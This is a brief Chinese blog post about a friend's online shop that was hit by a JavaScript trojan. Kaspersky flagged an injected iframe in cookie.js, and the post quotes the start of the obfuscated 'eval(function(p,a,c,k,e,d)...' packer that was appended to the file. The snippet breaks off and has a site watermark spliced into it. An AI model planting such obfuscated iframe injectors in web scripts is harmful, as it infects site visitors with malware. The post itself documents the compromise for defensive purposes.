JS文件挂马代码区分

这几天， 朋友的顽皮屋商城被挂马， 进入网站的时候， 卡巴斯基提示xxxx\cookie.js被挂iframe， 并且报iframe目的页有马。

打开cookie.js文件后， 发现其中多了如下代码：

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c](北联网教程,专业提供视频软件下载)

……